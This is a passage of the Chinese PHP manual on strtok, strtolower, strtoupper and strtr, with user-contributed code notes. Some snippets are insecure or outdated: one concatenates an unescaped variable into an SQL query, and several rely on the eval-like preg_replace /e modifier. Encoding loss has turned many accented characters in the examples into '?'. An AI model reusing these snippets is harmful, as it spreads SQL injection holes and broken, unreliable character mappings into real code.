    $state = 'space';
    $previous = '';     // stores current state when encountering a backslash (which changes $state to 'escaped', but has to fall back into the previous $state afterwards)
    $out = array();     // the return value
    $word = '';
    $type = '';         // type of character
    // array[states][chartypes] => actions
    $chart = array(
        'space'        => array('space'=>'',   'quote'=>'q',  'doublequote'=>'d',  'backtick'=>'b',  'backslash'=>'ue', 'other'=>'ua'),
        'unquoted'     => array('space'=>'w ', 'quote'=>'a',  'doublequote'=>'a',  'backtick'=>'a',  'backslash'=>'e',  'other'=>'a'),
        'quoted'       => array('space'=>'a',  'quote'=>'w ', 'doublequote'=>'a',  'backtick'=>'a',  'backslash'=>'e',  'other'=>'a'),
        'doublequoted' => array('space'=>'a',  'quote'=>'a',  'doublequote'=>'w ', 'backtick'=>'a',  'backslash'=>'e',  'other'=>'a'),
        'backticked'   => array('space'=>'a',  'quote'=>'a',  'doublequote'=>'a',  'backtick'=>'w ', 'backslash'=>'e',  'other'=>'a'),
        'escaped'      => array('space'=>'ap', 'quote'=>'ap', 'doublequote'=>'ap', 'backtick'=>'ap', 'backslash'=>'ap', 'other'=>'ap'));
    for ($i=0; $i<=strlen($string); $i++) {
        $char = substr($string, $i, 1);
        $type = array_search($char, array('space'=>' ', 'quote'=>'\'', 'doublequote'=>'"', 'backtick'=>'`', 'backslash'=>'\\'));
        if (! $type) $type = 'other';
        if ($type == 'other') {
            // grabs all characters that are also 'other' following the current one in one go
            preg_match("/[ \'\"\`\\\]/", $string, $matches, PREG_OFFSET_CAPTURE, $i);
            if ($matches) {
                $matches = $matches[0];
                $char = substr($string, $i, $matches[1]-$i); // yep, $char length can be > 1
                $i = $matches[1] - 1;
            }else{
                // no more match on special characters, that must mean this is the last word!
                // the .= hereunder is because we *might* be in the middle of a word that just contained special chars
                $word .= substr($string, $i);
                break; // jumps out of the for() loop
            }
        }
        $actions = $chart[$state][$type];
        for($j=0; $j<strlen($actions); $j++) {
            $act = substr($actions, $j, 1);
            if ($act == ' ') $state = 'space';
            if ($act == 'u') $state = 'unquoted';
            if ($act == 'q') $state = 'quoted';
            if ($act == 'd') $state = 'doublequoted';
            if ($act == 'b') $state = 'backticked';
            if ($act == 'e') { $previous = $state; $state = 'escaped'; }
            if ($act == 'a') $word .= $char;
            if ($act == 'w') { $out[] = $word; $word = ''; }
            if ($act == 'p') $state = $previous;
        }
    }
    if (strlen($word)) $out[] = $word;
    return $out;
}

?>
manicdepressive at mindless dot com 19-Jun-2004 06:01
<pre><?php
/** get leading, trailing, and embedded separator tokens that were 'skipped'
if for some ungodly reason you are using php to implement a simple parser that
needs to detect nested clauses as it builds a parse tree */

$str = "(((alpha(beta))(gamma))";

$seps = '()';
$tok = strtok( $str,$seps ); // return false on empty string or null
$cur = 0;
$dumbDone = FALSE;
$done = (FALSE===$tok);
while (!$done) {
   // process skipped tokens (if any at first iteration) (special for last)
   $posTok = $dumbDone ? strlen($str) : strpos($str, $tok, $cur );
   $skippedMany = substr( $str, $cur, $posTok-$cur ); // false when 0 width
   $lenSkipped = strlen($skippedMany); // 0 when false
   if (0!==$lenSkipped) {
      $last = strlen($skippedMany) -1;
      for($i=0; $i<=$last; $i++){
         $skipped = $skippedMany[$i];
         $cur += strlen($skipped);
         echo "skipped: $skipped\n";
      }
   }
   if ($dumbDone) break; // this is the only place the loop is terminated

   // process current tok
   echo "curr tok: ".$tok."\n";

   // update cursor
   $cur += strlen($tok);

   // get any next tok
   if (!$dumbDone){
      $tok = strtok($seps);
      $dumbDone = (FALSE===$tok);
      // you're not really done till you check for trailing skipped
   }
};
?></pre>


将字符串转化为小写

  • ? strtok
  • strtoupper ?
  • PHP Manual
  • 字符串 函数
  • 将字符串转化为小写

strtolower

(PHP 4, PHP 5, PHP 7, PHP 8)

strtolower — 将字符串转化为小写

说明

strtolower(string $string): string

将 string 中所有的 ASCII 字母字符转换为小写并返回。

"A"（0x41）到 "Z"（0x5a）范围内的字节会通过将每个字节值加 32 转为相应的小写字母。

这可用于转换用 UTF-8 编码的字符串中的 ASCII 字符，但会忽略多字节 UTF-8 字符。要转换多字节非 ASCII 字符，请使用 mb_strtolower()。

参数

string

输入字符串。

返回值

返回转换后的小写字符串。

更新日志

版本 | 说明
8.2.0 | 大小写转换不在依赖于使用 setlocale() 设置的区域。只会转换 ASCII 字符。

示例

Example #1 strtolower() 示例

<?php
$str = "Mary Had A Little Lamb and She LOVED It So";
$str = strtolower($str);
echo $str; // 打印 mary had a little lamb and she loved it so
?>

注释

Note: 此函数可安全用于二进制对象。

参见

  • strtoupper() - 将字符串转化为大写
  • ucfirst() - 将字符串的首字母转换为大写
  • ucwords() - 将字符串中每个单词的首字母转换为大写
  • mb_strtolower() - 使字符串小写

User Contributed Notes

Daniel Klein 07-May-2016 10:33
When the locale is set to "utf8" or "C" I can't get strtolower() to convert accented characters encoded as UTF-8, so here is my workaround.

<?php
function tolower($string) {
  if ($old_locale = setlocale(LC_CTYPE, 0)) {
    // 'fr_FR.ISO-8859-1' for *nix, 'French_France.1252' fallback for Windows
    if ($newlocale = setlocale(LC_CTYPE, 'fr_FR.ISO-8859-1', 'French_France.1252')) {
      preg_match('/\.(?<encoding>.+)$/', $newlocale, $match);
      $string = utf8_encode(strtolower(utf8_decode($string)));
    }
    setlocale(LC_CTYPE, $old_locale);
  }
  return $string;
}

print(tolower('DéJà-VU'));  // prints déjà-vu
?>

Change the language-country codes if you want some language other than French.
helvete at bahno dot net 26-Nov-2014 01:05
It is worth noting that
<?php
var_dump(strtolower(null))
?>
returns:
string(0) ""
RCube 31-Mar-2011 04:57
To convert an entire array to lower, I prefer this method;

<?php
function arraytolower(array $array, $round = 0){
  return unserialize(strtolower(serialize($array)));
}
?>

3 lines of code seem a lot less overhead than 10-40.
If there's any intrinsic problem with this method, please post it.
marcin at maydesign dot pl 22-Jun-2010 03:16
strtolower(); doesn't work for polish chars

<?php strtolower("m?kA"); ?>
will return: m?ka;

the best solution - use mb_strtolower()

<?php mb_strtolower("m?kA",'UTF-8'); ?>
will return: m?ka
leha_grobov 25-Jun-2009 08:03
the strtolower version to support most amount of languages including russian, french and so on:

<?php
function strtolower_utf8($string){
  $convert_to = array(
    "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u",
    "v", "w", "x", "y", "z", "à", "á", "a", "?", "?", "?", "?", "?", "è", "é", "ê", "?", "ì", "í", "?", "?",
    "e", "?", "ò", "ó", "?", "?", "?", "?", "ù", "ú", "?", "ü", "y", "а", "б", "в", "г", "д", "е", "ё", "ж",
    "з", "и", "й", "к", "л", "м", "н", "о", "п", "р", "с", "т", "у", "ф", "х", "ц", "ч", "ш", "щ", "ъ", "ы",
    "ь", "э", "ю", "я"
  );
  $convert_from = array(
    "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U",
    "V", "W", "X", "Y", "Z", "à", "á", "?", "?", "?", "?", "?", "?", "è", "é", "ê", "?", "ì", "í", "?", "?",
    "D", "?", "ò", "ó", "?", "?", "?", "?", "ù", "ú", "?", "ü", "Y", "А", "Б", "В", "Г", "Д", "Е", "Ё", "Ж",
    "З", "И", "Й", "К", "Л", "М", "Н", "О", "П", "Р", "С", "Т", "У", "Ф", "Х", "Ц", "Ч", "Ш", "Щ", "Ъ", "Ъ",
    "Ь", "Э", "Ю", "Я"
  );

  return str_replace($convert_from, $convert_to, $string);
}
?>
coder at bulgaria dot bg 03-Apr-2009 04:08
for cyrillic and UTF 8 use  mb_convert_case

exampel

<?php
$string = "Австралия";
$string = mb_convert_case($string, MB_CASE_LOWER, "UTF-8");
echo $string;

//output is: австралия
?>
dbers26 at gmail dot com 07-Jan-2009 01:34
the function  arraytolower will create duplicate entries since keys are case sensitive.

<?php
$array = array('test1' => 'asgAFasDAAd', 'TEST2' => 'ASddhshsDGb', 'TeSt3 '=> 'asdasda@asdadadASDASDgh');

$array = arraytolower($array);
?>
/*
Array
(
    [test1] => asgafasdaad
    [TEST2] => ASddhshsDGb
    [TeSt3] => asdasda@asdadadASDASDgh
    [test2] => asddhshsdgb
    [test3] => asdasda@asdadadasdasdgh
)
*/

I prefer this method

<?php
  function arraytolower($array, $include_leys=false) {

    if($include_leys) {
      foreach($array as $key => $value) {
        if(is_array($value))
          $array2[strtolower($key)] = arraytolower($value, $include_leys);
        else
          $array2[strtolower($key)] = strtolower($value);
      }
      $array = $array2;
    }
    else {
      foreach($array as $key => $value) {
        if(is_array($value))
          $array[$key] = arraytolower($value, $include_leys);
        else
          $array[$key] = strtolower($value);
      }
    }

    return $array;
  }
?>

which when used like this

<?php
$array = $array = array('test1' => 'asgAFasDAAd', 'TEST2' => 'ASddhshsDGb', 'TeSt3 '=> 'asdasda@asdadadASDASDgh');

$array1 = arraytolower($array);
$array2 = arraytolower($array,true);

print_r($array1);
print_r($array2);
?>

will give output of

Array
(
    [test1] => asgafasdaad
    [TEST2] => asddhshsdgb
    [TeSt3] => asdasda@asdadadasdasdgh
)
Array
(
    [test1] => asgafasdaad
    [test2] => asddhshsdgb
    [test3] => asdasda@asdadadasdasdgh
)
rodrigoATsistemasparainternetDOTcomDOTbr 09-Sep-2008 06:25
<?php
function fullLower($str){
   // convert to entities
   $subject = htmlentities($str,ENT_QUOTES);
   $pattern = '/&([a-z])(uml|acute|circ';
   $pattern.= '|tilde|ring|elig|grave|slash|horn|cedil|th);/e';
   $replace = "'&'.strtolower('\\1').'\\2'.';'";
   $result = preg_replace($pattern, $replace, $subject);
   // convert from entities back to characters
   $htmltable = get_html_translation_table(HTML_ENTITIES);
   foreach($htmltable as $key => $value) {
      $result = ereg_replace(addslashes($value),$key,$result);
   }
   return(strtolower($result));
}

echo fullLower("? é ò ? úù?");

//results ? é ò ? úù?
//adapted from fullUpper on strtoupper manual
?>
patricia at steuerungb dot de 17-Oct-2007 06:29
When you're not sure, how the current locale is set, you might find the following function useful. It's strtolower for utf8-formatted text:

<?php
function strtolower_utf8($inputString) {
    $outputString    = utf8_decode($inputString);
    $outputString    = strtolower($outputString);
    $outputString    = utf8_encode($outputString);
    return $outputString;
}
?>

It's not suitable for every occasion, but it surely gets in handy. I use it for lowering German 'Umlauts' like ? and ?.
rok dot kralj at gmail dot com 04-Jun-2007 11:49
Slovenian characters

<?php
    function strtolower_slovenian($string)
    {
        $low=array("?" => "?", "?" => "?", "?" => "?");
        return strtolower(strtr($string,$low));
    }

?>
marco at recchiuti dot it 22-May-2007 12:43
Maybe it is not so elegant, but it Works.
It's just a fast Idea and it is what I need.
Any hacks for other characters (link !, ? etc etc) should help.

function RemoveShouting($string)
{
     $frase = "";
     $astri = explode(".", $string);
     foreach ($astri as $elem)
    $frase .= " ".ucfirst(trim(strtolower($elem))).". ";

    return trim($frase);
}

Cheers!
M
spiceee ddotty spiceee com 06-Mar-2006 04:53
If you ever need to strtolower a string with href tags on it and doesn't want to mess with the characters inside a tag, this is for you.

<?php

function loweroutsidetags ($str) {
    $chars = preg_split ("//", $str);
    $tolower = true;
    $str = '';

    foreach ($chars as $k) {
        if ($k == '<') { $tolower = false; }
        if ($tolower) { $k = strtolower ($k); }
        $str .= $k;
        if ($k == '>') { $tolower = true; }
    }
    return $str;
}

?>

this:
echo loweroutsidetags('aALalala <a href="?q=CASEsENSITIVINESSinURLSareSTUPID">')

will give:
aalalala <a href="?q=CASEsENSITIVINESSinURLSareSTUPID">
Patrick 19-Jan-2006 10:57
If you're considering using the below unhtmlentities function from phpContrib, I would suggest this one as an alternative:

<?php
function unhtmlentities($string)
{
   // replace numeric entities
   $string = preg_replace('~&#x([0-9a-f]+);~ei', 'chr(hexdec("\\1"))', $string);
   $string = preg_replace('~&#([0-9]+);~e', 'chr(\\1)', $string);
   // replace literal entities
   $trans_tbl = get_html_translation_table(HTML_ENTITIES);
   $trans_tbl = array_flip($trans_tbl);
   return strtr($string, $trans_tbl);
}
?>

That was copied exactly from the html_entity_decode manual page.  It'll handle numeric entities correctly, the below function won't.
mhuggins57 at yahoo dot com 19-Jul-2005 04:04
There's a ucfirst "function" to make the first character uppercase, but there's no "lcfirst" function to make the first character lowercase.  Here's my own code to accomplish this.

<?
function lcfirst($str) {
    return strtolower(substr($str, 0, 1)) . substr($str, 1);
}
?>

I found this particularly useful for generating XML nodes with the Reflection class.
kmcdermott at perimeterinstitute dot ca 08-Dec-2004 01:04
To do case insensitive comparisons in a database, strtolower() can be a quick and dirty solution:

$Sql = "SELECT * FROM tablename WHERE LOWER(column_name) = '".strtolower($my_var)."'";
bkimble at ebaseweb dot com 19-Jan-2003 10:39
Heres a small function I wrote to stop people from submitting data that is ALL IN CAPS SO THEY CAN GET MORE ATTENTION THAT THE REST OF THE USER SUBMITTED DATA on my website :) If you can make it better, by all means do so. This function splits up words delimited by a space, and makes only the first letter of each word capitalized. You can easily modify it so it's only the very first word of the string. I've also added some exceptions so you don't make things like roman numerals look like "Iii" or "Xcmii" or something.

function RemoveShouting($string)
{
 $lower_exceptions = array(
        "to" => "1", "a" => "1", "the" => "1", "of" => "1"
 );

 $higher_exceptions = array(
        "I" => "1", "II" => "1", "III" => "1", "IV" => "1",
        "V" => "1", "VI" => "1", "VII" => "1", "VIII" => "1",
        "XI" => "1", "X" => "1"
 );

 $words = split(" ", $string);
 $newwords = array();
 foreach ($words as $word)
 {
  if (!$higher_exceptions[$word]) $word = strtolower($word);
  if (!$lower_exceptions[$word]) $word[0] = strtoupper($word[0]);
  array_push($newwords, $word);
 }
 return join(" ", $newwords);
}

BK


将字符串转化为大写

  • ? strtolower
  • strtr ?
  • PHP Manual
  • 字符串 函数
  • 将字符串转化为大写

strtoupper

(PHP 4, PHP 5, PHP 7, PHP 8)

strtoupper — 将字符串转化为大写

说明

strtoupper(string $string): string

将 string 中所有 ASCII 字母字符转换为大写并返回。

"a"（0x61）到 "z"（0x7a）范围内的字节会通过将每个字节值减 32 转为相应的大写字母。

这可用于转换用 UTF-8 编码的字符串中的 ASCII 字符，但会忽略多字节 UTF-8 字符。要转换多字节非 ASCII 字符，请使用 mb_strtoupper()。

参数

string

输入字符串。

返回值

返回转换后的大写字符串。

更新日志

版本 | 说明
8.2.0 | 大小写转换不在依赖于使用 setlocale() 设置的区域。只会转换 ASCII 字符。

示例

Example #1 strtoupper() 示例

<?php
$str = "Mary Had A Little Lamb and She LOVED It So";
$str = strtoupper($str);
echo $str; // 打印 MARY HAD A LITTLE LAMB AND SHE LOVED IT SO
?>

注释

Note: 此函数可安全用于二进制对象。

参见

  • strtolower() - 将字符串转化为小写
  • ucfirst() - 将字符串的首字母转换为大写
  • ucwords() - 将字符串中每个单词的首字母转换为大写
  • mb_strtoupper() - 使字符串大写

User Contributed Notes

chris at ocproducts dot com 28-Jul-2019 01:08
This function has a real challenge when it comes to Turkish. In Turkish the ASCII letter 'i' uppercases to a non-ASCII character. This means that PHP cannot upper case it.

i.e. for the Turkish locale, strtoupper('i')=='i'

This can mess with basic program logic.

There's no simple solution. The core problem is discussed more here:
http://www.i18nguy.com/unicode/turkish-i18n.html
Dave 24-Jan-2018 07:55
Why this function isn't just named "uppercase" or has an alias named that, I don't know.
uilmind at favor.com.ua 09-Jul-2016 10:36
Here is how to make the character in upper case, except HTML-entities:

$s = substr(preg_replace('/(?<=^|;)(.+?)(?=&[0-9A-Za-z]+;|$)/e', "strtoupper('$1')", ' '.$s), 1);

There is small kludge, however. Unfortunately I tired to find out the way how to exclude HTML-entity at the start of the line, so I have added 1 dummy character at the start of the text and removing it after the conversion.
adriaanse06 at hotmail dot com 28-Jul-2015 11:51
$ther=''.THEREISALREADYA.' '.CONCEPT.' '.SAVED.' ';
or
$ther="There Is all ready A concept SAVED";

$fupper=substr("$ther",0,1);
pick the first char

$theru = strtoupper($fupper);
make it upper

$flower=substr("$ther",1,100);
pick the rest

$therl = strtolower($flower);
make them lower

Result:
There is all ready a concept saved
andre at koethur dot de 10-Jun-2013 08:28
One might think that setting the correct locale would do the trick with for example german umlauts, but this is not the case. You have to use mb_strtoupper() instead:

<?php

setlocale(LC_CTYPE, 'de_DE.UTF8');

echo strtoupper('Umlaute ??ü in uppercase'); // outputs "UMLAUTE ??ü IN UPPERCASE"
echo mb_strtoupper('Umlaute ??ü in uppercase', 'UTF-8'); // outputs "UMLAUTE ??ü IN UPPERCASE"

?>
james at snasta dot ie 10-Nov-2011 06:44
In the Irish language certain initial mutations can never be capitalized — the following simple function can be used to capitalize text in Irish.

i.e. Muintir na héireann -> MUINTIR NA héIREANN

<?php
function strtoupper_ga($a) {
    return strtr(mb_strtoupper($a, "utf-8"), array(
      " MB" => " mB",
      " GC" => " gC",
      " ND" => " nD",
      " BHF" => " bhF",
      " NG" => " nG",
      " BP" => " bP",
      " DT" => " dT",
      " HA" => " hA",
      " HE" => " hE",
      " HI" => " hI",
      " HO" => " hO",
      " HU" => " hU",
      " Há" => " há",
      " Hé" => " hé",
      " Hí" => " hí",
      " Hó" => " hó",
      " Hú" => " hú"
    ));
}
?>
smieat 01-May-2010 04:39
perfect solutions for turkish utf-8 (including i I conversations):

<?php
function strtolowertr($metin){
    return mb_convert_case(str_replace('I','?',$metin), MB_CASE_LOWER, "UTF-8");
}

function strtouppertr($metin){
    return mb_convert_case(str_replace('i','?',$metin), MB_CASE_UPPER, "UTF-8");
}

function ucwordstr($metin) {
    return ltrim(mb_convert_case(str_replace(array(' I',' ?', ' ?', ' i'),array(' I',' I',' ?',' ?'),' '.$metin), MB_CASE_TITLE, "UTF-8"));
}

function ucfirsttr($metin) {
    $metin = in_array(crc32($metin[0]),array(1309403428, -797999993, 957143474)) ? array(strtouppertr(substr($metin,0,2)),substr($metin,2)) : array(strtouppertr($metin[0]),substr($metin,1));
return $metin[0].$metin[1];
}
?>
chris at table4 dot com 19-Jan-2009 07:31
Simple function to change the case of your string and any accented html characters contained within it.

Inspired by fullUpper(), by silent at gmx dot li... just a little bit more atomic.

<?php

function convertCase($str, $case = 'upper')
{ //yours, courtesy of table4.com  :)
  switch($case)
  {
    case "upper" :
    default:
      $str = strtoupper($str);
      $pattern = '/&([A-Z])(UML|ACUTE|CIRC|TILDE|RING|';
      $pattern .= 'ELIG|GRAVE|SLASH|HORN|CEDIL|TH);/e';
      $replace = "'&'.'\\1'.strtolower('\\2').';'"; //convert the important bit back to lower
    break;

    case "lower" :
      $str = strtolower($str);
    break;
  }

  $str = preg_replace($pattern, $replace, $str);
  return $str;
}
?>

Depending on what you are trying to achieve you would call like this:

<?php

//with entities...
$str = convertCase(htmlentities($str, ENT_QUOTES, "ISO-8859-1"));

?>
spaceman at foo dot at 17-Apr-2008 09:59
It has been mentioned in a previous comment that all you need to do to let PHP's strtoupper() do the conversion - instead of writing more or less complicated functions yourself - is to specify the locale in which you're doing the case conversion:

<?php setlocale(LC_CTYPE, "de_AT") ?>

It is important to note that setlocale() will silently fail if it can't find the specified locale on your system, so *always* check its return value. Try different spellings: using "de_AT" as an example, there are various combinations that may or may not work for you: "de", "de_AT.utf8", "de_AT.iso-8859-1", "de_AT.latin1", "de_AT@euro", etc).

If you can't find an appropriate locale setting, check your system configuration (locales are a system-wide setting, PHP gets them from the OS). On Windows, locales can be set from the Control Panel; on Linux it depends on your distribution. You can try "sudo dpkg-reconfigure locales" on Debian-based distros, or configure them manually. On Ubuntu Dapper, I had to copy entries over from /usr/share/i18n/SUPPORTED to /var/lib/locales/supported.d/local, then do the dpkg-reconfigure.

After you're done, restart the web server.

That said, there are special cases where you want to do the conversion manually. In German, for example, the letter '?' (szlig) only exists as a lower-case character, and so doesn't get converted by strtoupper. The convential way to express a '?' in an uppercase string is "SS". This function will take care of this exception (for Latin1 and most of Latin9, at least):

<?php

define("LATIN1_UC_CHARS", "àá??????èéê?ìí??D?òó????ùú?üY");
define("LATIN1_LC_CHARS", "àáa?????èéê?ìí??e?òó????ùú?üy");

function uc_latin1 ($str) {
    $str = strtoupper(strtr($str, LATIN1_LC_CHARS, LATIN1_UC_CHARS));
    return strtr($str, array("?" => "SS"));
}

?>
Oliv. 11-Oct-2007 07:20
accents convertion trick :

<?php

    function ucfirstHTMLentity($matches){
        return "&".ucfirst(strtolower($matches[1])).";";
    }
    function fullUpper($str){
        $subject = strtoupper(htmlentities($str, null, 'UTF-8'));
        $pattern = '/&([A-Z]+);/';
        return preg_replace_callback($pattern, "ucfirstHTMLentity", $subject);
    }

        print fullUpper($_REQUEST["txt"]);

?>
RUNET 17-Apr-2007 05:33
Russian

function str_to_upper($str){
    return strtr($str,
    "abcdefghijklmnopqrstuvwxyz".
    "\xE0\xE1\xE2\xE3\xE4\xE5".
    "\xb8\xe6\xe7\xe8\xe9\xea".
    "\xeb\xeC\xeD\xeE\xeF\xf0".
    "\xf1\xf2\xf3\xf4\xf5\xf6".
    "\xf7\xf8\xf9\xfA\xfB\xfC".
    "\xfD\xfE\xfF",
    "ABCDEFGHIJKLMNOPQRSTUVWXYZ".
    "\xC0\xC1\xC2\xC3\xC4\xC5".
    "\xA8\xC6\xC7\xC8\xC9\xCA".
    "\xCB\xCC\xCD\xCE\xCF\xD0".
    "\xD1\xD2\xD3\xD4\xD5\xD6".
    "\xD7\xD8\xD9\xDA\xDB\xDC".
    "\xDD\xDE\xDF");
}
bart at insane dot at 10-May-2006 04:31
When using UTF-8 and need to convert to uppercase with
special characters like the german ?,?,ü (didn't test for french,polish,russian but think it should work, too) try this:

function strtoupper_utf8($string){
    $string=utf8_decode($string);
    $string=strtoupper($string);
    $string=utf8_encode($string);
    return $string;
}
30-May-2005 06:11
// 2005/5/30 Justin
    // Chinese_Traditional toupper
    function CT_to_upper($string)
    {
        $isChineseStart = false;

          $new_string = "";
         $i = 0;
          while($i < strlen($string))
          {
               if (ord(substr($string,$i,1)) <128)
               {
                   if( $isChineseStart == false )
                       $new_string .= strtoupper(mb_substr($string,$i,1));
                   else
                       $new_string .= substr($string,$i,1);
               }
               else
               {
                   if( $isChineseStart == false )
                       $isChineseStart = true;
                   else
                       $isChineseStart = false;

                     $new_string .= substr($string,$i,1);
               }
               $i++;
          }
          return $new_string;
    }
    //
willyann at gmail dot com 24-May-2005 09:31
chinese

function to_upper($string) {
  $new_string = "";
  $i = 0;
  while($i < strlen($string)) {
   if (ord(substr($string,$i,1)) <128)
   {
     $new_string .= strtoupper(substr($string,$i,1));
     $i++;
   } else {
     $new_string .= substr($string,$i,2);
     $i=$i+2;
   }
  }
  return $new_string;
}
30-Oct-2004 03:23
If you only need to extend the conversion by the characters of a certain language, it's possible to control this using an environment variable to change the locale:

setlocale(LC_CTYPE, "de_DE");
mec at stadeleck dot org 02-Dec-2002 06:54
something I myself first not thought about:
if there are any html entities (named entities) in your string, strtoupper will turn all letters within this entities to upper case, too. So if you want to manipulate a string with strtoupper it should contain only unicode entities (if ever).


转换字符或替换字串

  • ? strtoupper
  • substr_compare ?
  • PHP Manual
  • 字符串 函数
  • 转换字符或替换字串

strtr

(PHP 4, PHP 5, PHP 7, PHP 8)

strtr — 转换字符或替换字串

说明

strtr(string $string, string $from, string $to): string

替代签名（不支持命名参数）：

strtr(string $string, array $replace_pairs): string

如果指定三个参数，则该函数返回 string 的副本，from 中所有出现的每个（单字节）字符都已转换为 to 中的相应字符。例如，每次出现的 $from[$n] 都会替换为 $to[$n]，$n 是两个参数中的有效位移(offset)。

如果 from 与 to 长度不相等，那么忽略两者中较长的多余字符。string 的长度将与返回的长度一样。

如果指定两个参数，则第二个参数应该是 array('from' => 'to', ...) 形式的 array。返回值是 string，数组中所有所有出现的键都替换为相应的值。首先会尝试最长的键。一旦子字符串被替换，则新值将不会再次搜索。

在这种情况下，键和值可以是任意长度，前提是没有空值的键；另外，返回值的长度可以跟 string 的长度不同。但是，当所有键的长度相同时，函数最有效。

参数

string

待转换的 string。

from

要转成 to 的 string。

to

替换 from 的 string。

replace_pairs

参数 replace_pairs 可以用来取代 to 和 from ，因为它是 array('from' => 'to', ...) 形式的 array。

如果 replace_pairs 包含空 string（""）键，将忽略该元素；自 PHP 8.0.0 起，这种情况会引发 E_WARNING。

返回值

返回转换后的 string。

示例

Example #1 strtr() 示例

<?php
// 在这种形式中，strtr() 进行逐字节转换
// 因此，假设这里是单字节编码：
$addr = strtr($addr, "???", "aao");
?>

下面的示例展示了仅使用两个参数调用 strtr() 的行为。注意优先替换（没有选择 "h"，因为有更长的匹配项）以及不再搜索已替换的文本。

Example #2 使用两个参数的 strtr() 示例

<?php
$trans = array("h" => "-", "hello" => "hi", "hi" => "hello");
echo strtr("hi all, I said hello", $trans);
?>

以上示例会输出：

hello all, I said hi

两种行为的模式本质上是不同的。使用三个参数，strtr() 将按字节替换；使用两个参数，优先替换更长的子字符串，

Example #3 strtr() 行为比较

<?php
echo strtr("baab", "ab", "01"),"\n";

$trans = array("ab" => "01");
echo strtr("baab", $trans);
?>

以上示例会输出：

1001
ba01

参见

  • str_replace() - 子字符串替换
  • preg_replace() - 执行一个正则表达式的搜索和替换

User Contributed Notes

tekintian#gmail.com 07-Jun-2020 12:08
/**
 *
 *  将一个字串中含有全角的数字字符、字母、空格或'%+-()'字符转换为相应半角字符
 * @author tekintian#gmail.com
 * @param   string       $str         待转换字串
 *
 * @return  string       $str         处理后字串
 */
function str2byte_convert(String $str):String  {
    $arr = array('０' => '0', '１' => '1', '２' => '2', '３' => '3', '４' => '4',
        '５' => '5', '６' => '6', '７' => '7', '８' => '8', '９' => '9',
        'Ａ' => 'A', 'Ｂ' => 'B', 'Ｃ' => 'C', 'Ｄ' => 'D', 'Ｅ' => 'E',
        'Ｆ' => 'F', 'Ｇ' => 'G', 'Ｈ' => 'H', 'Ｉ' => 'I', 'Ｊ' => 'J',
        'Ｋ' => 'K', 'Ｌ' => 'L', 'Ｍ' => 'M', 'Ｎ' => 'N', 'Ｏ' => 'O',
        'Ｐ' => 'P', 'Ｑ' => 'Q', 'Ｒ' => 'R', 'Ｓ' => 'S', 'Ｔ' => 'T',
        'Ｕ' => 'U', 'Ｖ' => 'V', 'Ｗ' => 'W', 'Ｘ' => 'X', 'Ｙ' => 'Y',
        'Ｚ' => 'Z', 'ａ' => 'a', 'ｂ' => 'b', 'ｃ' => 'c', 'ｄ' => 'd',
        'ｅ' => 'e', 'ｆ' => 'f', 'ｇ' => 'g', 'ｈ' => 'h', 'ｉ' => 'i',
        'ｊ' => 'j', 'ｋ' => 'k', 'ｌ' => 'l', 'ｍ' => 'm', 'ｎ' => 'n',
        'ｏ' => 'o', 'ｐ' => 'p', 'ｑ' => 'q', 'ｒ' => 'r', 'ｓ' => 's',
        'ｔ' => 't', 'ｕ' => 'u', 'ｖ' => 'v', 'ｗ' => 'w', 'ｘ' => 'x',
        'ｙ' => 'y', 'ｚ' => 'z',
        '（' => '(', '）' => ')', '〔' => '[', '〕' => ']', '【' => '[',
        '】' => ']', '〖' => '[', '〗' => ']', '"' => '[', '"' => ']',
        ''' => '[', ''' => ']', '｛' => '{', '｝' => '}', '《' => '<',
        '》' => '>',
        '％' => '%', '＋' => '+', '—' => '-', '－' => '-', '～' => '-',
        '：' => ':', '。' => '.', '、' => ',', '，' => '.', '、' => '.',
        '；' => ',', '？' => '?', '！' => '!', '...' => '-', '‖' => '|',
        '"' => '"', ''' => '`', ''' => '`', '｜' => '|', '〃' => '"',
        '　' => ' ');

    return strtr($str, $arr);
}
Anonymous 10-Jan-2020 10:58
The string, string form cannot remove characters, but the array form can.
Annubis 09-Sep-2018 06:49
Since I was having a lot of trouble finding a multibyte safe strtr and the solutions I found didn't help, I came out with this function, I don't know how it works with non latin chars but it works for me using spanish/french utf8, I hope it helps someone...
<?php
if(!function_exists('mb_strtr')) {
    function mb_strtr ($str, $from, $to = null) {
        if(is_array($from)) {
            $from = array_map('utf8_decode', $from);
            $from = array_map('utf8_decode', array_flip ($from));
            return utf8_encode (strtr (utf8_decode ($str), array_flip ($from)));
        }
        return utf8_encode (strtr (utf8_decode ($str), utf8_decode($from), utf8_decode ($to)));
    }
}
?>
evan dot king at NOSPAM dot example dot com 24-Apr-2015 03:05
Here's an important real-world example use-case for strtr where str_replace will not work or will introduce obscure bugs:

<?php

$strTemplate = "My name is :name, not :name2.";
$strParams = [
  ':name' => 'Dave',
  'Dave' => ':name2 or :password', // a wrench in the otherwise sensible input
  ':name2' => 'Steve',
  ':pass' => '7hf2348', // sensitive data that maybe shouldn't be here
];

echo strtr($strTemplate, $strParams);
// "My name is Dave, not Steve."

echo str_replace(array_keys($strParams), array_values($strParams), $strTemplate);
// "My name is Steve or 7hf2348word, not Steve or 7hf2348word2."

?>

Any time you're trying to template out a string and don't necessarily know what the replacement keys/values will be (or fully understand the implications of and control their content and order), str_replace will introduce the potential to incorrectly match your keys because it does not expand the longest keys first.

Further, str_replace will replace in previous replacements, introducing potential for unintended nested expansions.  Doing so can put the wrong data into the "sub-template" or even give users a chance to provide input that exposes data (if they get to define some of the replacement strings).

Don't support recursive expansion unless you need it and know it will be safe.  When you do support it, do so explicitly by repeating strtr calls until no more expansions are occurring or a sane iteration limit is reached, so that the results never implicitly depend on order of your replacement keys.  Also make certain that any user input will expanded in an isolated step after any sensitive data is already expanded into the output and no longer available as input.

Note: using some character(s) around your keys to designate them also reduces the possibility of unintended mangling of output, whether maliciously triggered or otherwise.  Thus the use of a colon prefix in these examples, which you can easily enforce when accepting replacement input to your templating/translation system.
Romain 23-Oct-2014 09:44
<?php
    /**
     * Clean string,
     * minimize and remove space, accent and other
     *
     * @param string $string
     * @return string
     */
    public function mb_strtoclean($string){
        // Valeur a nettoyer (conversion)
